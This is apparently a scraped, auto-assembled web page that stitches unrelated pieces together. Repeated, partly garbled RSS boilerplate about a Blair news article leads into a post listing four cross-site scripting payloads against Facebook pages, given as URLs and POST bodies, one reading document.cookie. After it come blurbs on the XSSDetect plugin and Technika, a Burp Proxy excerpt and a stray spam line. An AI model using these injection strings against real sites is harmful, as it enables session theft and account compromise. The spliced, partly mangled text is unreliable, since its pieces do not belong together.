This entry through the RSS Full Text of service – if that is something you read elsewhere, please read our FAQ fivefilters.org / glad / faq.php
Five filters is the article: "Peace Envoy" Blair Gets a bed of roses in the Independent.

This entry is through the text to RSS service – if that is something you read elsewhere, please read our FAQ fivefilters.org / glad / faq.php
Five filters is the article: "Peace Envoy" Blair Gets a bed of roses in the Independent.

This entry through the RSS Full Text of service – if you read a question someone else, please read our FAQ fivefilters.org / glad/ Faq.php
Five filters is the article: "Peace Envoy" Blair Obtienet a bed of roses in the Independent.

Go here:
facebook xss

Five filters is the article: "Peace Envoy" Blair Gets a bed of roses in the Independent. The tools available: the papers in PDF, text extraction RSSterm.

If I have mentioned some security flaw that Facebook ever faced , like how to view facebook private profile pictures , some another facebook security flaws just have been discovered during the late 2008 until January 2009. And I’m pretty sure there will be more facebook xss hacking in 2009 . Some major facebook xss vulnerabilities has been published on Xssed.com (the most well-known website for xss news). And of course , you’re very allowed to leave this post if you still think Xss is not dangerous at all . Some critical Facebook Xss flaws can infect million facebook members with malware. And it’s not impossible for a new facebook xss worm to be developed under these circumstances.

The first Facebook xss vulnerability was occured on facebook reset password page :
XSS:
http://www.facebook.com/reset.php?locale=en_GB%22%3E%3Cscript%3Ealert(1)%3C/script%3E%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Mirror : http://www.xssed.com/mirror/55951/

The 2nd : (with POST)
https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.facebook.com%2F

POST:

email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login

The 3rd :
http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E

The 4th : (with POST)
http://developers.facebook.com/tools.php?fbml

POST:

profile=1299125444&position=wide&api_key=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+p3lo%3C%2Fh1%3E%3C%2Fmarquee%3E+&fbml=

Random articles :

• Is Facebook Connect a Phisher’s Dream?
• 5 Reasons to Start Using Facebook Connect Now

XSSDetect Plugin for visual studio 2005

If you mostly use ASP.NET as the core programming language , and use visual studio 2005 as the developer tool, this tool is very suitable for you! XSSDetect is simply a Vistual Studio 2005 plugin to detect XSS in your .NET codes easily! Btw, here’s the official excerpt about XSSDetect :

XSSDetect is a static code analysis tool that helps identify Cross-Site Scripting security flaws found within Web applications. It is able to scan compiled managed assemblies (C#, Visual Basic .NET, J#) and analyze dataflow paths from sources of user-controlled input to vulnerable outputs. It also detects whether proper encoding or filtering has been applied to the data and will ignore such “sanitized” paths.

To download XSSDetect , please visit their official site.

If you have Firebug installed you will be able to use Technika bookmarklet constructing features. You can use the Firebug console to test the bookmarklet and make sure that it is working. When you are happy with your code you can easily convert it to a bookmarklet by accessing the Technika menu and selecting Build Bookmarklet.You will be asked to select the folder where you want the bookmarklet to be stored.Type the bookmarklet name and press the OK button. If later you want to modify your bookmarklet, you can select the Technika menu and choose the Load Bookmarklet option. Another useful feature of Technika is that you can set your autorunable bookmarklets on different levels and define the order of their execution.This mechanism is very similar to initrd booting mechanism on Unix/Linux. For example, if you want to develop a framework that consists of several bookmarklets, you may need to load the core libraries before the actual user scripts.

Screenshot :

Scan your own page now , here :

http://www.seoegghead.com/tools/scan-for-html-injection.php

The modern browser is designed for speed and efficiency, which means Web application security assessment is a painful task, because probing a Web application requires in-depth analysis. Generally, to test an application, you want to slow down the transmission of data to and from the server to a snail’s pace so you can read and modify the transmitted data; hence the proxy.

In the early days of security, proxies were capable of slowing down the connection in only the outbound direction and as such, a user could only alter the information being transferred to the server; however, that’s only part of the equation when analyzing a Web application. Sometimes it greatly behooves you to be able to modify the incoming data. For example, you might want to modify a cookie so that it doesn’t use HttpOnly, or remove a JavaScript function. Sometimes you just want a bidirectional microscopic view into every request your browser is making. And then there was Burp Proxy.

Burp Proxy is part of a suite of Java tools called Burp Suite that allow for Web application penetration, but for the purposes of this book only one function is particularly useful, and that’s the proxy.To get started, you need the Java run time environment installed, which you can get from Java.com’s Web site. Once that is installed you modify your proxy settings in your browser to use localhost or 127.0.0.1 at port 8080.

Once this is done, you can launch Burp Proxy, which will show you a blank screen.The Intercept and Options windows are the most important ones that we will be focusing on.First let’s configure Burp Proxy to watch both inbound and outbound requests. Under “Options” uncheck resource type restrictions, turn on interception of Server Responses, and uncheck “text” as a content type.This will show you all of the data to and from every server you connect to.

Once this has been configured, you should be able to surf and see any data being transferred to and from the host.This will allow you to both detect the data in transit and modify it as you see fit. Of course any data you modify that is sent to your browser affects you and you alone, however, if it can turn off JavaScript client side protection this can be used to do other nefarious things, like persistent XSS, which would normally not be allowed due to the client side protections in place. Also, in the days of Asynchronous JavaScript and XML (AJAX), this tool can be incredibly powerful to detect and modify data in transit in both directions, while turning off any protection put in place by the client to avoid modification by the browser.

This can also help remove lots of information that would otherwise leak to the target,including cookies, referrers, or other things that are either unnecessary or slow down the exploitation. Another useful feature is the ability to switch into hex mode.This is particularly useful when you are viewing pages in alternate encoding methods, like US-ASCII or UTF-16.

Burp proxy is by far one of the most useful Web application security tools in any manual security assessment. Not only does it help uncover the obvious stuff, but it’s possible to write custom rules if you know what you are looking for. For instance, if you wanted to find only XML files for debugging AJAX applications, a Burp proxy rule can be created to capture just this information.

Ultimately, Burp is only one tool amongst a wide array of others that do parts of what Burp does as well or better, but nothing works in quite the same way or with quite the same power as Burp Suite. Burp Proxy is not for the faint of heart, but once you get accustomed to it, it is a great learning tool for understanding how Hypertext Transfer Protocol (HTTP) actually works under the hood.

People who have been associated with computers for long know about web hosting and the importance of dedicated servers for any domain registration.

Download URL : http://portswigger.net/proxy/

More reviews can be found on thespanner.co.uk , xssworm.blogvis.com , ha.ckers.org .